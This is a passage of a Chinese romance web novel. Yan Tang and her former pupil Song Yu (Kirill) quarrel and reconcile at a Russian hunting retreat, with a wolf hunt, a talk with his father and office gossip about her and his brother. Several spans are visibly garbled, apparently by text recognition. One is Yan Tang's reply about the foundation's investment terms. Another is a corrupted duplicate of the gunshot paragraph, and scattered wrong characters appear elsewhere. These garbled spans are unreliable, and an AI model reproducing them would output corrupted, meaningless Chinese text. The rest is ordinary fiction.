宋郁垂眸看着她,“但你知不知道,没打死的猎物有时候也会跟着猎人….” 就在这时,燕棠抬头,就这么直视着他,问:“跟着猎人做什么?要让她知道自己失去了他吗?这是你今天的目的?” 燕棠发誓,她一点儿都不想跟宋郁吵架,不想跟他发展到这一步。 在这一刻,她甚至想,如果当初宋郁没有到摩尔曼斯克找她就好了,至少两人不需要经历后来这段时间里时而快乐时而痛苦的交流。至少她不用听见宋郁对她说出这番话。 宋有盯着她不说话,没说是,也没说不是。 于是这沉默在燕棠眼里变成了一种默认。 她觉得自己可以接受这样的结局,可她不明白为什么宋郁一定要走来她面前,向她撕开这个丑陋的帘布。燕棠脑子里闪过很多思绪,心头涌上一股沉重的、复杂的,混杂着悲伤和愤怒的情绪。过了几秒,她开口了,声音很沉,带着些微的颤抖。 “到今天为止,我仍然记得你带我去SKP买衣服的场景。” 宋郁神情一怔,不知道她为什么要提这个。 “那是我第一次进奢侈品店,我不得不承认里面的衣服都非常好看、非常吸引我。当我抚摸那件衣服的面料时,我就知道我很想要它—直到我翻开它的价签,我才意识到我买不起。”所以我只能放下它,因为我得更努力地师钱,才能拥有这件衣服,但我响够钱之前,也许它已经被另一个女孩儿挑走了—她也许更富有、对人生没有负担,轻松自在,潇洒快乐地活看。”“买不起就是买不起,失去了就失去了,是我不想要吗?是我不想要吗!!!” 宋郁默了片刻,说:“可你明明可以享受我给你的一切——” "Kirill,在你眼里,我是什么样的女人?你在按照什么样的标准在看待我?"燕棠这么问他。 “你给了我很多礼物,很多鼓励,很多帮助。我也想要带给你什么,可我一无所有…… “如果我是地球总统,我会把所有的资源都拿给你,把美国搬到俄罗斯,让世界上最好的医生和康复师给你治疗,生活在你的身边关心你。可我只是普通人。“我没有父母给的集团股权,没有很多后路,我只能靠自己立足在这个社会。除了虚无缥缈的承诺和口头式的关心,我什么都给不了你,所以我不能阻止你得到更好的人的可能性。” 燕棠几乎从来不发火。她习惯了藏起所有的东西,很少有情绪激动的时候。 就连她自己都不知道,心里不知何时藏着一片冰冻的海,冻住了她所有不敢触碰的情绪。在今天,这片海便被宋郁这么敲碎了,变成眼泪从眼里流出来,怎么也止不住。 这是一个普通人的代价。 她会在二十来岁的某一天尝尽生活的味道,面对一个又一个的不确定性,放弃所有的浪浸幻想,在洪流涌来时拼命支好自己的小舟,不多去思考那些失去的东西。 木屋内陷入了死一样的安静。 宋郁目不转睛地看着燕棠。 她正含着眼泪,声音颤抖,音节铿锵地质问他。 就如当年在南市时,她突然激动地说他“未经他人苦”一样—看来她在当时已经极尽委婉了。 "Kirill,你告诉我,用你优越的、充满自信的、勇往无前的人生经验告诉我,人活在这世上,做什么选择才是正确的答案?" 一阵寒风吹过,灌入屋中,吹得墙上挂饰叮当作响。 “我也没有答案。” 宋郁缓缓开口。 “就像我不知道,明明因为你而伤心了那么多次,为什么仍然还是想要回头从你这里得到安慰一样。” 燕棠愣住了。 她的眼泪仍然悬在眼里,湿漉漉的睫毛轻轻颤着,眉眼间透露出一股迷茫。 他们看着彼此。 过了很久很久,宋郁才开口:“我现在很想和你拥抱一下,你还愿意过来吗?” 燕棠鼻尖一酸,那悬在眼眶边的泪水便淌下了。她走过去,刚刚朝他伸手,就被他拉进怀里,大力地抱住。 他们在此刻都没有想明白,这个拥抱有多少种含义。 47、他们都有 “你心里有这么多想法,为什么之前不说?”“之前每次开口,哪次不是以你发小孩子脾气结束。” “嗯,这次我跟你进行成年人之间的谈话,却轮到你发小孩子脾气。”“…也许这叫做成年人的崩溃。” “成年人的崩溃只有成年人自己在意,小孩子发脾气却是有人哄。”“你怎么突然明白了这个?”燕棠笑了一下。 “因为这都是你教我的。” 宋郁终于松开她,抬手慢吞吞地替她把脸颊处的泪渍擦去,声音缓慢。“我很意外,本来以为你会像以前那样冷静——不,冷漠地面对我,但没想你会哭成这样。” “…什么?” —眼睛是红肿的,脸颊也全是泪迹,发丝黏在脸侧,整个人像被雨雪打湿了一般,连抽噎都像是在发抖。太可怜了。 燕棠这时终于稍微冷静下来,缓缓吐出一口气:“抱歉,我刚才说的话有些过激了。” “没关系,如果你不说出来,我也不会知道你心里还有这一层想法。”宋郁忽然笑了一下,像是收到了意外之喜似的。“我的朋友们都是给对象砸钱,但我遇见的不一样,你是一个要为我把美国搬到俄罗斯的中国女人。” 燕棠不得不纠正:“这是一种假设。” “很伟大的假设。” 宋郁说完,那点儿笑意又缓缓褪去,目光变得很深。 “你今天还给我又上了一课,失去了就是失去了…….” 燕棠从他这话里听出了明了的意思,心里一空,随后感到一种将近尘埃落定的寥落。她下意识低头,可随即又被捏住了后颈,不得不抬眼和他对视。宋郁脸上的神情是她从未见过的冷静,双眼清澈又平和,令她捉摸不透。 过了几秒,他眼里再次浮现出一抹笑,这笑意让那张漂亮的脸蛋瞬间变得生动起来,尚能瞧出点儿从前的熟悉影子。“但你是不是忘了,我又和你不一样,我学不会这种洒脱。” 外头不知何时下起了雪,大粒大粒的雪花从射击口飘进来,木屋内又冷了几分。 宋郁却不说话了,掏出手机看了一眼,里面已经消息堆积如山,是统筹在催还没回营地的人该回去集合。 这场聊天进行到现在,他就只来得及说几句话,破天荒被燕棠占了主场,叽里呱啦一顿讲。 凶得要命,完了还哭。 在宋郁的记忆里,燕棠哭的次数远远不及他自己— 这是他不得不承认的事实,就连她以前流眼泪的时候,都是克制的,隐晦的,泪意转瞬即逝,非常迅速地再次整理好心情。 所以直到这一刻,他忽然体会到一种奇异的置换感——原来当年她看见我哭的时候,是这样的心情啊。 宋郁站起身,看见燕棠尚有些愣怔的神情,拿起手边十分保暖的黑色绒帽,戴在她头上。 “我自己想了九个月,现在轮到你来想想我是什么意思。” 他说完这句话,终于掏出了口袋里的钥匙,把木屋的门锁打开了,拎起她的包带她往外走。 盲猎场距离营地不算远,一条直直的大路通往入口,两人默不作声地走在雪地里。 燕棠被他握着手腕,隔着厚厚的衣袖和一层黑色手套,她感觉到他的力道还像以前那样牢。她抬起眼看他,绒帽边缘一圈柔软的毛略微遮住了视线,但仍然能看见他在冰天雪地里显得如玉一般白的脸庞。 眉眼间的神态不知何时变化了,就连跟在摩尔曼斯克那时都已经不一样。一点点变得……完全是个大人的样子了。 宋郁这晚要回到自己的住处,说是安排了个促进炎症恢复的松脂泥疗,晚上不会参加聚餐。 两人在营地入口处分开,燕棠一路走到餐厅和玛莎会和。 “你这个帽子…….”玛莎有些疑惑地打量了她几眼。 她和燕棠住在一起,当然知道这不是她的,不过这个颜色和模样非常眼熟—她今天找llya聊天的时候,也见他戴过。 燕棠忽然意识到忘记把帽子还给宋郁了。 室内温暖,她刚把帽子摘下来放进包里,随后见玛莎忽然露出了“我想起来了”“竟然真的是如此”“我早就知道”这一系列表情。 ……你在想什么?”燕棠盯着玛莎。 “没什么。”玛莎含蓄地说。 第一天狩猎结束,整个团队收获丰厚,猎熊的队伍在狩猎许可区域猎到了一头黑熊,另一拨队伍则猎到了几头驯鹿、狍子和野猪,还有一些野鸭、松鸡和野兔。 大老板是中国人,喜欢讲究好彩头,所以这晚的聚餐不仅设置了狩猎奖励的环节,年终业绩嘉奖也放在了这天。 上前菜的过程中,各个公司都派了位代表来简短地总结一下今年亮眼的业绩. 代表站起来发言,其他同事们围坐在一起佯装认真听讲,手上动作却没停,有的在喝伏特加,有的把鱼子酱堆在鹿肉肝酱上,用黑麦薄饼裹起来大口吃着。 燕棠却听得很认真。 她从去年开始推进的翻译出版项目取得了不错的成绩,那虽然是个小项目,但由于成本压得很低,纸面上的回报率非常好看,基金会总负责人在餐前讲话里提及了两次她的名字。 这让她今天稍有些灰蒙蒙的心情略微转晴,升起了一点小自豪。 所有人里,最认真听讲的反而是老板。 宋裕川之前只看过各个子公司的财报和业务简报,这会儿第一次听"ana"这个名字觉得有点儿熟悉,等听下属再次提起的时候,忽然反应过来,问身边的大儿子:“这是Kil以前那个家庭教师?” “是。”宋璟点头。 汇报结束,主菜被端上桌。今天猎到的野禽也直接端上桌成了菜肴,而野猪、驯鹿一类大型猎物则被送去专门的场所进行处理。烤鹿排上裹着诱人的香料,此外还有香气浓郁的炖肉、炭烤甜菜一类餐品。 狩猎奖励环节也在这时候开始。 燕棠猎到了一头野猪,得到一把手工猎刀作为奖励。走到统筹处拿奖品的时候,忽然觉得有人在看自己,一转头,发现是老板那桌。 坐在主位的宋裕川在朝她看过来,常居高位的经历使他看人时总带有一种凌厉而深沉的审视。 等和燕棠对上视线后,他随即冲她温和地笑了一下,这笑容十分随和,就如长辈对待晚辈一样亲厚。 燕棠微微一怔,但宋裕川这时已经挪开了视线,又和他身边的宋璟聊起了什么。 餐后是活动环节,餐厅迅速被收拾干净,桌子拼成三条长桌,有同事凑在一起唱歌,还有营地的人过来演奏巴拉莱卡琴,少数人站在外头抽烟。 燕棠刚才喝了点儿酒,独自走到外头的屋檐下透气儿。 零下四十度的天气将人一下就冻得酒醒,好在外墙上安装着户外壁炉,还摆着好几个燃木火盆,木炭刺啦作响,光线隐隐照亮不远处的灌木丛。 拐角处传来沉稳的脚步声,她转头一看,是道高大的人影,悬在墙边的灯泡照亮他微白的鬓角和虽然上了年纪,但依旧英俊的面容。 “宋先生?” 燕棠忽然就站直了。 宋裕川点点头,指间夹着烟,在距离她还有一米远的燃木火盆前站定,“我出来抽烟,你不去和他们玩儿?” “里头有些闷,出来透气儿。” 他一来,燕棠就感觉有些拘束,正在想找个什么理由开溜,又听他说:“我之前听ya提起你在基金会那边做翻译,不过今天才知道你自己做项目了,之后打算往这方向走?”说起工作的事情,燕棠稍微打起精神来,“是,这两年初步尝试了一下,把流程跑通了,感觉自己能做。” “那之后是打算入职公司还是?” “我打算自己成立个小公司,用公司的名头做图书品牌的策划……” 这是燕棠初步的设想,她上个月在北京的时候跟业内几个熟人聊了聊,如果瞄准垂直方向,结合自媒体和现在的阅读趋势,做得精细,还是有蛋糕吃的。 宋裕川也做投资,对她这个打算提起了一些兴趣,问:“找投资方了吗?我记得基金会的投委会有这方面的投资计划。” 生出这个想法之后,燕棠立刻去找投委会咨询过。 她诚文地时宋粉1说。“金会虽然械很多,但因为是大投方,条教严格,要求世多,要学的股收比例有点大,我要成立的公司楼小,没几两,还是找 些的够提供宣传资源的公司比较好,要是以后真的咖了,也许钢和温金会合作。“ 宋裕川点头:“很实在,那希望以后有机会能合作。” 燕棠只当这是客套话。 她预估过自己初创公司的资本金,都比不上他们家一辆车的价钱,如果以后有机会合作—那她在行业内真的算得上是个人物了。 宋裕川忽然提起另一个话题。 “听我太太说,你去年在西雅图陪Kirill做了手术?”……那次去看他的比赛,碰上他受伤了。” “那次在北京,你来我们家做客,我看得出你们关系很好,这几年你们也还有联系?” “不多。” 她这简单的一句话,宋裕川便明白了其中意思,“他这几年经常打扰你吧。” “没有没有,是正常的朋友交流。” 宋裕川也笑了,“我儿子的德性我知道,这孩子从小就被他妈妈宠坏了,磕了碰了,他妈妈一个劲儿地哄,他就顺杆子往上爬。” 不知道怎么回事,燕棠听他这么说宋郁,眉眼间反而浮现一抹笑意。 “但当家长的就是这样,希望他快点长大懂事,又希望他一直像个小孩子。”燕棠忽然想起了今天在盲猎木屋里的宋郁,以及他那平静沉稳的神情和话里藏话的说话方式。“我好像也明白那样的感觉。”她轻声说。 “那你很了解他。”宋裕川声音温和。 关于宋郁的内容很快聊过,他们又谈起这几年国内文化产业的变动。 宋裕川手下管着太多事情,基金会只是其中一个体量不算大的运营主体,在这个话题上反而有很多问题请教燕棠,而燕棠这两年在两地跑来跑去,答得很顺畅。 这几天里,燕棠听过底下人不少关于老板的讨论,心里也有过不少多余的揣测,但当下和宋裕川接触,她仍然能从他的言语和举止中感受到得体的尊重。 这让她感到放松和舒适。 等宋裕川手中的烟燃尽,聊天也结束了。 燕棠回到室内,再次被温暖的空气包裹。她在玛莎身边坐下,拿起一旁餐盘里的蜂蜜酒喝了一口,长长舒了一口气。 桌边还围坐着其他几个同事,有位叫阿列克谢的市场部员工刚才也在外头抽烟,笑着说:“刚才看见Yana在跟老板聊天,没想到聊了这么久,Yana很厉害啊,我在老板面前都很紧张。” 燕棠笑了笑,“只是恰好碰上了。” 玛莎神神秘秘地说:“Yana和llya也经常聊天。” 没想到她这么一提,另外两个同事也说:“对哦,上次看见Yana和llya一起在咖啡厅看视频呢。”燕棠一愣,想起是上次和宋璟一起看宋郁的采访视频:“那次纯粹是巧合。”大家笑眯眯地点头,然后默契地没有说下去,而是聊起了其他的话题。 俄罗斯人虽然在不熟的人面前一般比较高冷,但私底下凑一起也喜欢说八卦,大家又来自不同部门,各种乱七八糟的传闻一个接一个蹦出来。 燕棠听了一会儿,拿出手机点开微信,给宋郁发去一条消息:「睡了吗?你的帽子还在我这里,我等会儿给你送过去吧。」 那边很快回复。 甜熊:「不用拿过来了,你明天去猎区猎狼的时候戴着,你的帽子太薄了。」 燕棠盯着这条消息,忽然意识到宋郁似乎对她的行程了若指掌。 过了几秒,她才回复: 「那你呢?」 甜熊:「我拿我哥的。」 狩猎活动的第二天,大家依旧分为几队不同路线,都在营地门口分流。燕棠戴着宋郁给的帽子,和玛莎一起离开餐厅往营地大门走去,听见玛莎碎碎念:“今天Ilya戴的帽子好像是营地临时买的啊…” 她念叨完,又瞧了一眼燕棠被裹得严严实实的脑袋,“哇哦”了一声。 燕棠转头看向玛莎:“你在哇哦 什么?” 玛莎说:“我在感慨他们两兄弟还是那么帅。” 她抬手指向不远处的大门。 那里停着几辆如钢铁怪物般的装甲车,车身涂漆是浓厚的墨绿色,每一侧都有四个沉重巨大的轮子。 宋郁和宋璟站在其中一辆前,各自背着一把步枪,站着在这车身,显得身影更加冷硬。 两人仍然戴着防寒巾,大半张脸被遮住,不过这回燕棠不会认错人了—宋璟换了顶黑色的毛线帽,而宋郁脑袋上那顶跟她脑袋上的一模一样。 不过在雪地里戴的帽子款式就那几样,同事里相似的款很多,倒也不是很突兀。 猎区很大,猎狼的队伍分为好几拨,各自往不同路线开。 一辆装甲车除了驾驶员外,还能乘坐四人左右。车内两侧设有射击口,方便在车□击。顶部配有可开启的舱口,允许最多两人同时站立进行环视和射击。 燕棠坐上车后,宋郁也很快坐了上来。他还是像之前一样,一双漂亮的眸子光是看着她,不吱声。 她和宋郁对视两秒,主动开口:“昨晚睡得好吗?” 他这才眉眼一弯,声音透过面巾传来:“还可以,你呢?” “我睡得也还可以。” “那你有在好好想我昨天是什么意思吗?”他问。 宋郁好像学到了她之前考校他的精髓,并且反过来用在了她身上。 “…有。”她轻声说。 这话说完,他也不继续问了。很快有另外两个同事上车,驾驶员启动车辆,一路往猎区的原始森林开过去。 等进入猎区,在上空飞行的直升飞机很快就把一拨狼群驱赶至附近。另外两位同事缩在车内架枪,燕棠被宋郁带着通过上方的舱口站起来。她这才发现为什么宋郁让她戴上绒帽——狼群奔跑速度太快,装甲车在零下几十度的原始森林里奔驰,真是字面意思上能把人的脑袋给冻掉。 宋郁架起枪,问燕棠:“你想试试吗?” 她摇摇头:“我的枪技太差了,这次报名就是看个热闹。” “那我猎给你看吧。”宋郁说,“猎狼不仅需要枪技,也要讲究策略,免得猎物跑了。” 他声音沉稳,跟车内两位有狩猎经验的同事沟通了几句,便举起枪。 舱口大小中等,而宋郁体格高大,燕常站在他身边,与他离得很近,目光也不自觉地落在他脸上—帽恤略低,只露出一双锐利漂高的眼晴,防寒巾勾出鼻梁高挺的轮廓,秀挺的鼻尖粑起一点弧度… 碰—志岭响 他壬巾的止粉口π忙人的光 开R岭志仿佛在燕尚的心 炸开 舱口大小中等,而宋郁体格高大,燕常站在他身边,与他离得很近,目光也不自觉地落在他脸上—帽怕略低,只露出一双锐利漂亮的眼睛,防庭巾勾出鼻梁高挺的轮廓,秀挺的鼻尖翘起一点弧度 砰一声枪响,他手中的步枪口闪现惊人的火光,那枪声仿佛在燕棠的心头炸开。 下一秒,宋郁收起枪,长睫一掀,目光转向她,双眸浮出笑意:“打中了。” 48、你哭那么惨… 猎区是一片广袤的雪原。 放眼望去,苍绿色的原始森林勾勒出边缘的轮廓,而在装甲车和森林之间,则是白茫茫的雪地,横斜性长着芦苇和针茅,还有一簇簇枯黄的羊胡子草。 “这里的狼群太多了,经常会跑到几十公里外的村庄偷牲畜,从去年开始开放狩猎……这几头应该够了。” 坐在车内的同事说。 宋郁和另外两位同事下车去取猎物尸体,留燕棠和驾驶员在车上。 她坐在车里,通过射击口往外看。 因为离得太远,他的身影在苍茫的白雪地里变成一道黑色的轮廓,身上背着冰冷的枪,两手轻松地拎起两只猎物,转身朝她走来。 生与死、黑与白。 脚边是猎物身上淌下的鲜红血迹。 这强烈的色彩撞入燕棠眼中。 与此同时,一种从宋郁身上散发出的,攫取人心神的威慑力也冲击着她的心灵。 她试图理解现在的宋郁究竟变成了什么样的大人。 另外两位同事也各拎着一具狼尸,他们一起把战利品放在车顶的网兜里,沉沉的动物尸体砸在车顶,坐在车内的燕棠也感受到些微余震。 宋郁上车后坐回她身边,燕棠闻到一股淡淡的木质香气,是狩猎专用的除去血腥气的喷雾。他脱下沾着血迹的手套,将脸上的防寒面罩扯下,鼻尖仍然因外头寒冷的空气而冻出一点红。 “好玩儿吗?”宋郁问她。 燕棠点点头,“第一次看你狩猎,很震撼。”他眉眼弯弯,“我以为你会觉得太残忍了。” “这属于生态狩猎呀,况且我又不是没见过更血腥的场景,我见过你比赛。”提起赛场,宋郁安静一秒,随后轻轻应了一声,又不再说话了。燕棠察觉到了他这突如其来的沉默,还想说些什么,可另外两位同事已经坐上了车。 装甲车再度启动,往回程开去。 抵达营地时刚过下午,有专门的工作人员来运卸猎物,同行的同事兴冲冲要跟去处理厂看狼牙加工。 燕棠被宋郁扶着下车,等她稳稳踩在地面上时,他还没有放手。 她安静地被他握着手腕往里走,也不问要去哪里。 营地这时候的人还不多,一路上都没看见人影,等路过餐厅的时候忽然碰见同样已经狩猎回来的宋璟。宋璟见他俩凑在一起,好像一点儿也不意外,非常淡定地问:“刚回来啊,要不要去餐厅吃点儿东西?”宋郁:“不用,我们有自己的事情,等会儿让人送餐就行。” “我现在准备过去餐厅,需要我让人给你们送点儿吗?” 见亲哥主动提,宋郁也毫不客气。 “行啊。她要鹿肉酥皮馅饼、蜂蜜蛋糕和红茶,红茶要配柠檬和蜂蜜,蜂蜜最好拿小罐的过来。我要鱼子酱三明治就行,如果有奶酪拼盘也给我们叫一份……燕棠向来不喜欢麻烦别人,就连在家跟父母相处,都一直被要求“自己的事情自己做”,这会儿见宋郁理直气壮地提出这么多要求,还帮她也要了一份,心里瞬间有些不好意思。她下意识看向宋璟,见他正在用一种类似“烦人的二胎”的目光盯着宋郁。 “要求那么多,你为什么不自己去。” “因为你说帮我们叫餐。” 几秒后,宋璟淡定开口:“行,知道了,两份一样的。” 说是这么说,等燕棠被宋郁带到住处之后没多久,营地的送餐人员就推着餐车敲响了门,把两人喜爱吃的东西端到餐桌上。等送餐人员走了,宋郁关上门,熟练上锁。“为什么又要上锁?”她忍不住问。 宋郁把钥匙收进口袋,相当坦然地说:“因为你很擅长逃跑。” 他早年眼睁睁见她从自己面前溜走好几次,不是她逃到门外就是他自己被关在门外,如今在这方面经验相当丰富。宋郁的住处也是木屋,相比员工们两人一间的木屋空间要更大,上下两层,像一处独立的别墅。墙壁壁炉运作,室内温暖,燕棠把外套脱下,坐在餐桌旁一边吃东西,一边看宋郁。他换下了厚重的猎装,换了身宽松的衣裤,松散闲适地坐在她对面,上午那股狩猎时凌厉的气质终于散去几分。 “我爸爸说昨晚碰到你了,还夸了你。” 燕棠有些意外,“夸我?” “他说你有想法,很踏实,对市场的判断也很好。” 宋郁看向她,“我记得你以前不是很喜欢和人打交道,这几年工作应该比我想的还要辛苦吧。”燕棠笑了笑:“我以为你在摩尔曼斯克那时候就知道了。”他说:“人总是先了解道理,再体会到道理的深意。那时候想明白了一点,但没有彻底想明白。” 说到这里,宋郁没有继续说了。 他手边一侧的桌面上散落着几盒药品,不远处的沙发上还搭着燕棠送来的护膝。 燕棠收回目光,喝了两口红茶,试探性地问:“你的腿伤情况怎么样?” “可以正常走路,但如果进行大强度训练,还是会出现炎症。” 宋郁并没有避讳。 “美国那边的康复团队怎么说?” 他看向她,“你想去沙发那里坐近一点儿聊吗?” 燕棠没想到,宋郁口中的“坐近一点儿”,竟然是坐在他的腿上一跨坐,面对面,被他牢牢的扣住腰侧。 他力气大,捉住她跟拎鸡仔似的,等燕棠反应过来时,她已经坐了下来。 哪怕在前两年为数不多的接触里,他们都没有这样亲近过。 这阔别已久的亲密姿势带来某种轻柔无声的信号,让燕棠心头一颤。 “我这次是要回莫斯科定居。” 这第一句话就让她愣住了,“那你的治疗怎么办?” “在美国已经尽力治过了,医生说后续的恢复情况因人而异,继续留在那里的意义不大。”燕棠听明白了,轻声说:“那至少尽力了。”“是,至少尽力了,现在回莫斯科也谈不上后悔。” 又是话里有话,燕棠对上他清浅的目光,又听他说:“现在该轮到你说话了—想了一晚上,想清楚我昨天在猎场真正想说的是什么了吗?”她轻轻点头,却没开口。 宋郁说:“你要说出来。” 他眉眼间明明是平静的神情,却带有像狩猎时那样无声的压迫感。 ——宋郁不像以前那么爱笑了。 这让燕棠感到另一种紧张,以至于那个明明在她心中出现的答案也再次变得不确定起来。 她镇定的态度在这种变化之下开始动摇,目光也下意识闪躲着。 于是在此时,被宋郁牢牢抱在怀里的姿势发挥了作用——燕棠无处可避,被他轻轻松松的逼着抬头再次和他对视 “说出来。”他再次催促。 房间陷入片刻的安静,燕棠才缓慢开口,声音细如蚊呐。 “……你心里一直有我,并且还想和我在一起。” 燕棠想起小学时被老师点名发言时的慌张心情,而在听她说出答案的这个人,竟然还是自己曾经的学生。而此刻,她曾经的学生正目不转睛地盯着她,追问:“我为什么还想和你在一起?”“因为……因为你还喜欢我。”“你甩了我几次?”“也许那不算甩了你。”她辩解。“你要先回答我的问题。”“……三次。” 宋郁的语气很平静,就这么把他们之间最敏感的往事揭开,明明白白地摊在两人面前,逼她认真回答。“被你甩了三次还找回来,只是喜欢吗?”他又问。燕棠垂着眼,像一个没自信的学生明明捏着正确答案,却百般犹豫,不敢说出口。 宋郁也不作声,只是看着她。 仿佛她不说,两人就这么在这里耗到天荒地老算了。 良久,燕棠才开口,很轻很轻地说:“你昨天想跟我说的其实是……你爱上我了。”她从来没有说过这样的话,语气里难掩忐忑不安。可话音刚落下,她却看见宋郁终于笑了。 这一回不再是那种浅浅的、转瞬即逝的笑。 他的眸光变得清透又柔和,在室内光线下,瞳孔泛起如蜂蜜般带着甜意的光泽。纯粹得几乎就像燕棠第一次给他上课时所见的那样,似乎还带有几分少年般的青涩和热忱。 他注视着她,鼓励道:“为什么那么小声?再说一遍。” “你爱上我了。”燕棠的睫毛轻轻颤着,音量稍稍大了一点儿。 当年在给宋郁补习时,她偶尔会像这样拷问他。 往往是在宋郁记不住一些反复强调过的知识点,或者偶尔叛逆心起不愿意死记硬背的时候。而当他终于按照要求,填对了题目的时候,那时的燕棠总会打心眼儿里舒了口气,然后夸他 “你真厉害,都答对了。” 宋郁轻轻捧住她的脸颊,低下头凑近,夸奖她。 就像她曾经对他那么做的一样。 燕棠忽然觉得有什么哽住了她的喉头,随后是一股铺天盖地地泪意涌上眼眶,像春汛决堤前的预兆。 宋郁的声音还在她耳边响起,有条不紊地说着。“那现在轮到我了——昨天你那么生气、那么难过,是因为你也喜欢我喜欢得不得了,对吗?“ 安静片刻,她轻轻点了点头。 “所以我们把最大的问题解决了。”宋郁在这时说。 燕棠这时才反应过来——宋郁竟然是在跟她好好地解决问题。 她愣愣地看了他几秒,见他又露出了一个甜甜的笑,甜得和她记忆中并无二致。 “不然你以为我在做什么?你以为我昨天是要故意找你撒气吗?” 他相当直白地说。 “我说过我们不一样。这几年里,我一直在想怎么解决问题,但你一直在想怎么解决我。” “我没有准备解决你!”燕棠终于反驳,“我只是…….” 她坐在宋郁的怀里,这接触亲密又温暖,让她没法再像昨天那样按照情侣之间最薄凉冷酷的逻辑去思考。 “你只是做好我随时要放弃的准备,这是一个道理。” 宋郁戳破了她,但随即又轻声说: 但昨天听你说了那番话,我想这也有我的问题,在你的角度上,也许解决我比解决问题更容易,在摩尔量斯克的时候,我以为你只是想要追求事业,没想过你还有那么多的不安,会担心我有别的女人—" 他顿了顿,说:“和你分开四年了,我没有过别的女人。所有账号都是小谭在管理,我不知道那些女孩儿给我发过什么信息,如果是在社交场合,你上次在北京也见过我的处理方式。” 说罢,宋郁又轻轻碰了碰她的脸颊,“我说得够明白了吗?” “…嗯。” 宋郁安静了片刻,眷恋地看着怀里的人。在经历了更多之后,他才知道自己在少年时把太多事情想当然,于是看不见她那些看似无情的决定下,藏着多少小心翼翼、无可奈何的考量。 于是他又继续问了许多的问题,一遍又一遍。 “看在你是我的初恋的份上,你可不可以原谅我以前的不懂事?”“如果以后我们再遇见任何问题,以后能不能和我一起解决,而不是默不作声地离开?” “你可以把我当成你的所有物吗?” “现在我成长为你想要的男人了吗?” 壁炉里的木炭刺啦作响,火焰如心脏般跳跃着,温暖的光影静静地笼罩着两个人。 都是第一次活着。 都是第一次成长。 都是第一次进入感情。 谁能足够明智,在最初的最初就洞察所有的陷阱,掌握最正确的答案,给出最正确的回应呢? 也是在这一刻,当宋郁用缓和的语调说出这一个个问题,那些俄语音节又变成类似于大猫呼噜呼噜的温柔声音。 燕棠终于尝到了一种从未体验过的,醇厚的、沉稳的、踏实的爱意。超越她记忆里曾经和宋郁在一起吃喝玩乐、游山玩水所得到的,如焰火般骤然乍现,迅速消逝的浅薄激情。 他最后又问:“那现在,时机对了,问题解决了,我们的关系可以从普通朋友升级成另一种了吗?” 眼睛里盈着笑意。 燕棠也忍不住眉眼一弯,刚要点头,眼泪却又落下来。 明明不再伤心了,明明脚踏实地了。 可偏偏像雨水一样接连不断,从脸颊边淌过,滴落在宋郁的衣服上,晕出一圈圈深色的水渍。 宋郁这回却没有替她擦去眼泪,只是随手将她脸颊边的碎发别至耳后,然后抱住她,让她在自己的怀里尽情地哭着。 那泪水落在他颈侧,湿湿暖暖的。 宋郁不说话,只是又将她抱紧了一点儿。 过了一会儿,他忽然问起了一个无关的问题。“你知不知道,为什么昨天我让你回去想一想,今天才跟你继续聊?” 燕棠抬眼看他,视线被泪水挡住,只能看见他漂亮脸蛋的大致轮廓。 她吸了吸鼻子,声音还略有些湿意:"……因为你希望我冷静一点,像你一样多想一会儿?" 宋郁注视着她,眉眼荡出一抹笑。 “因为我那时候快要忍不住了。” 他说。 “你哭那么惨,我好想*你。” 说是那么说,但来日方长,宋郁已经学会了耐心。 所以他只是轻轻亲了一口她的额头,然后高兴地出门,准备去拿两瓶营地里自酿的蜂蜜酒。他知道燕棠喜欢喝这个。 这时候已是黄昏,天色渐晚,广阔的天空和茫茫雪地都变成一片浪浸的蓝紫色,而在天地交际之间,隐藏在厚重云层里的霞光渗出一抹轻柔的粉色。 宋郁在路上停下脚步,拍下这一幕发给燕棠看。刚刚收起手机,就碰上几个要去餐厅吃晚饭的集团员工。 "Kirill,你也去吃饭吗?" “今晚不参加聚餐,只是去买两瓶蜂蜜酒。” 宋郁不在集团内任职,职员们面对他时自然没有在宋璟面前那样束手束脚,甚至和他一路聊起天来。“说起来,听人说llya和Yana今晚也不去聚餐呢。”阿列克谢说。听到这两个名字并列被提起,宋郁神情凝滞了一秒,侧过头看向这几个员工。另一位同事达莉亚也笑眯眯地说:“是的,我也听说了。”他们都朝宋郁看去,“Kirill,你应该很了解你哥哥的情况吧,他和Yana是真的吗?”没等宋郁回答,几个同事还在七嘴八舌地说。 “今天早上,Ilya把他的帽子给Yana戴了哦,猎狼还专门找Kirill帮忙陪她,真贴心。”“下午我去点餐碰见了llya,他对Yana的口味就像对Kiill的口味一样了解得一清二楚。”“他们一定相处很长时间了吧,感觉老板对Yana也很满意呢。” ……… "Kirill—Kiril呢?" 等宋郁将蜂蜜酒带回住处的时候,天色已经全黑了。 燕棠正坐在长椅上烤火,乌黑的长发披散在肩侧,身上盖着毛毯,端着盘子吃奶酪蛋糕,见他回来了,冲他露出一个笑。 刚刚又哭了一通,她的眼睛还略微有点肿,笑起时也显得可怜兮兮的。 宋郁关上门,在她身边坐下,放下酒瓶。 瓶身上是一只抱着蜂蜜罐的棕色小熊,在壁炉映照之下,小熊那双圆圆的眼睛冒着邪恶的火光。他打开瓶盖,给她倒了一杯,晶莹剔透的橙黄色液体灌满玻璃杯。“好喝吗?”宋郁声音温和地问。燕棠尝了一口,点点头,“这里的蜂蜜酒味道特别好。”“知道你喜欢,我让人留了一些,等回莫斯科的时候带回去。我做得好吗?”燕棠听他这么问,心一软,放下酒杯,主动坐进了他的怀里,抱紧他的脖颈。“谢谢你,Kirill。”“既然把你哄开心了,现在轮到你哄我了。”他忽然这么说。 闻言,燕棠抬头,有些不解地看着他。 “虽然我很爱你,但这几年的伤心哪有那么容易消失,我都记着呢。” 燕棠坐直了身体,“那——” 她还没来得及说完,就被宋郁打断了话。 “不急,一件一件来。”他这时候仍然很有耐心,只是把她往自己怀里又拉近了一点,免得她有机会跑开。 “我们先来谈谈最重要的事,”宋郁垂眸,盯着她看。“为什么上次你会把我认成我哥,以及——为什么现在集团里的员工会认为你是我的 嫂子''?” 49、一起养生 简直是胡说八道! ——这是燕棠听他提起所谓“传闻”后的第一反应,她甚至不知道这是怎么传出来的。 但上次她把宋郁错认成宋璟这件事却无可辩驳。那天离那么远,他们个头又那么像,戴的帽子还是一样的,燕棠觉得自己真的是无心之过。 燕棠详细地解释完,随后观察了一下宋郁脸上的表情。她意识到以上理由应该都不足以安抚他的情绪。 这几年和人打交道做项目,燕棠学到了一点很重要的经验,就是在揣测出对方真实意图前,最好先按兵不动。 宋郁这几年变化也大,照以往的相处经历,他应该已经要亲要抱,或者掉几滴金豆子,嘟嘟哝哝告诉她“以后不能这样了”。 